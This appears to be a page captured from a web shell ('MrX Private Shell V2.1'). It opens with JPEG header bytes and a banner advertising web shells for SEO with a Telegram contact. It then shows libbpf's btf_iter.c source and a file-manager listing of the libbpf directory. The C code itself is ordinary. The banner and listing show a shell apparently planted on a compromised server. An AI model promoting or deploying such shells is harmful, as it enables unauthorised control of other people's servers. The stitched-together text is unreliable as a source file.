����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
/* Copyright (c) 2021 Facebook */
/* Copyright (c) 2024, Oracle and/or its affiliates. */
#ifdef __KERNEL__
#include <linux/bpf.h>
#include <linux/btf.h>
#define btf_var_secinfos(t) (struct btf_var_secinfo *)btf_type_var_secinfo(t)
#else
#include "btf.h"
#include "libbpf_internal.h"
#endif
int btf_field_iter_init(struct btf_field_iter *it, struct btf_type *t,
enum btf_field_iter_kind iter_kind)
{
it->p = NULL;
it->m_idx = -1;
it->off_idx = 0;
it->vlen = 0;
switch (iter_kind) {
case BTF_FIELD_ITER_IDS:
switch (btf_kind(t)) {
case BTF_KIND_UNKN:
case BTF_KIND_INT:
case BTF_KIND_FLOAT:
case BTF_KIND_ENUM:
case BTF_KIND_ENUM64:
it->desc = (struct btf_field_desc) {};
break;
case BTF_KIND_FWD:
case BTF_KIND_CONST:
case BTF_KIND_VOLATILE:
case BTF_KIND_RESTRICT:
case BTF_KIND_PTR:
case BTF_KIND_TYPEDEF:
case BTF_KIND_FUNC:
case BTF_KIND_VAR:
case BTF_KIND_DECL_TAG:
case BTF_KIND_TYPE_TAG:
it->desc = (struct btf_field_desc) { 1, {offsetof(struct btf_type, type)} };
break;
case BTF_KIND_ARRAY:
it->desc = (struct btf_field_desc) {
2, {sizeof(struct btf_type) + offsetof(struct btf_array, type),
sizeof(struct btf_type) + offsetof(struct btf_array, index_type)}
};
break;
case BTF_KIND_STRUCT:
case BTF_KIND_UNION:
it->desc = (struct btf_field_desc) {
0, {},
sizeof(struct btf_member),
1, {offsetof(struct btf_member, type)}
};
break;
case BTF_KIND_FUNC_PROTO:
it->desc = (struct btf_field_desc) {
1, {offsetof(struct btf_type, type)},
sizeof(struct btf_param),
1, {offsetof(struct btf_param, type)}
};
break;
case BTF_KIND_DATASEC:
it->desc = (struct btf_field_desc) {
0, {},
sizeof(struct btf_var_secinfo),
1, {offsetof(struct btf_var_secinfo, type)}
};
break;
default:
return -EINVAL;
}
break;
case BTF_FIELD_ITER_STRS:
switch (btf_kind(t)) {
case BTF_KIND_UNKN:
it->desc = (struct btf_field_desc) {};
break;
case BTF_KIND_INT:
case BTF_KIND_FLOAT:
case BTF_KIND_FWD:
case BTF_KIND_ARRAY:
case BTF_KIND_CONST:
case BTF_KIND_VOLATILE:
case BTF_KIND_RESTRICT:
case BTF_KIND_PTR:
case BTF_KIND_TYPEDEF:
case BTF_KIND_FUNC:
case BTF_KIND_VAR:
case BTF_KIND_DECL_TAG:
case BTF_KIND_TYPE_TAG:
case BTF_KIND_DATASEC:
it->desc = (struct btf_field_desc) {
1, {offsetof(struct btf_type, name_off)}
};
break;
case BTF_KIND_ENUM:
it->desc = (struct btf_field_desc) {
1, {offsetof(struct btf_type, name_off)},
sizeof(struct btf_enum),
1, {offsetof(struct btf_enum, name_off)}
};
break;
case BTF_KIND_ENUM64:
it->desc = (struct btf_field_desc) {
1, {offsetof(struct btf_type, name_off)},
sizeof(struct btf_enum64),
1, {offsetof(struct btf_enum64, name_off)}
};
break;
case BTF_KIND_STRUCT:
case BTF_KIND_UNION:
it->desc = (struct btf_field_desc) {
1, {offsetof(struct btf_type, name_off)},
sizeof(struct btf_member),
1, {offsetof(struct btf_member, name_off)}
};
break;
case BTF_KIND_FUNC_PROTO:
it->desc = (struct btf_field_desc) {
1, {offsetof(struct btf_type, name_off)},
sizeof(struct btf_param),
1, {offsetof(struct btf_param, name_off)}
};
break;
default:
return -EINVAL;
}
break;
default:
return -EINVAL;
}
if (it->desc.m_sz)
it->vlen = btf_vlen(t);
it->p = t;
return 0;
}
__u32 *btf_field_iter_next(struct btf_field_iter *it)
{
if (!it->p)
return NULL;
if (it->m_idx < 0) {
if (it->off_idx < it->desc.t_off_cnt)
return it->p + it->desc.t_offs[it->off_idx++];
/* move to per-member iteration */
it->m_idx = 0;
it->p += sizeof(struct btf_type);
it->off_idx = 0;
}
/* if type doesn't have members, stop */
if (it->desc.m_sz == 0) {
it->p = NULL;
return NULL;
}
if (it->off_idx >= it->desc.m_off_cnt) {
/* exhausted this member's fields, go to the next member */
it->m_idx++;
it->p += it->desc.m_sz;
it->off_idx = 0;
}
if (it->m_idx < it->vlen)
return it->p + it->desc.m_offs[it->off_idx++];
it->p = NULL;
return NULL;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Build | File | 263 B | 0644 |
|
| Makefile | File | 10.9 KB | 0644 |
|
| bpf.c | File | 36.63 KB | 0644 |
|
| bpf.h | File | 24.87 KB | 0644 |
|
| bpf_core_read.h | File | 21.89 KB | 0644 |
|
| bpf_endian.h | File | 3.66 KB | 0644 |
|
| bpf_gen_internal.h | File | 2.17 KB | 0644 |
|
| bpf_helpers.h | File | 15.51 KB | 0644 |
|
| bpf_prog_linfo.c | File | 6.14 KB | 0644 |
|
| bpf_tracing.h | File | 32.87 KB | 0644 |
|
| btf.c | File | 142.89 KB | 0644 |
|
| btf.h | File | 19.99 KB | 0644 |
|
| btf_dump.c | File | 69.04 KB | 0644 |
|
| btf_iter.c | File | 4.05 KB | 0644 |
|
| btf_relocate.c | File | 14.32 KB | 0644 |
|
| elf.c | File | 13.48 KB | 0644 |
|
| features.c | File | 17.16 KB | 0644 |
|
| gen_loader.c | File | 37.52 KB | 0644 |
|
| hashmap.c | File | 4.92 KB | 0644 |
|
| hashmap.h | File | 6.74 KB | 0644 |
|
| libbpf.c | File | 375.66 KB | 0644 |
|
| libbpf.h | File | 73.26 KB | 0644 |
|
| libbpf.map | File | 8.86 KB | 0644 |
|
| libbpf.pc.template | File | 252 B | 0644 |
|
| libbpf_common.h | File | 3.36 KB | 0644 |
|
| libbpf_errno.c | File | 2.25 KB | 0644 |
|
| libbpf_internal.h | File | 19.59 KB | 0644 |
|
| libbpf_legacy.h | File | 5.07 KB | 0644 |
|
| libbpf_probes.c | File | 11.87 KB | 0644 |
|
| libbpf_version.h | File | 242 B | 0644 |
|
| linker.c | File | 76.81 KB | 0644 |
|
| netlink.c | File | 21.65 KB | 0644 |
|
| nlattr.c | File | 4.9 KB | 0644 |
|
| nlattr.h | File | 4.23 KB | 0644 |
|
| relo_core.c | File | 50.5 KB | 0644 |
|
| relo_core.h | File | 3.26 KB | 0644 |
|
| ringbuf.c | File | 15.86 KB | 0644 |
|
| skel_internal.h | File | 8.89 KB | 0644 |
|
| str_error.c | File | 1020 B | 0644 |
|
| str_error.h | File | 235 B | 0644 |
|
| strset.c | File | 4.28 KB | 0644 |
|
| strset.h | File | 586 B | 0644 |
|
| usdt.bpf.h | File | 8.31 KB | 0644 |
|
| usdt.c | File | 51.09 KB | 0644 |
|
| zip.c | File | 8.29 KB | 0644 |
|
| zip.h | File | 1.24 KB | 0644 |
|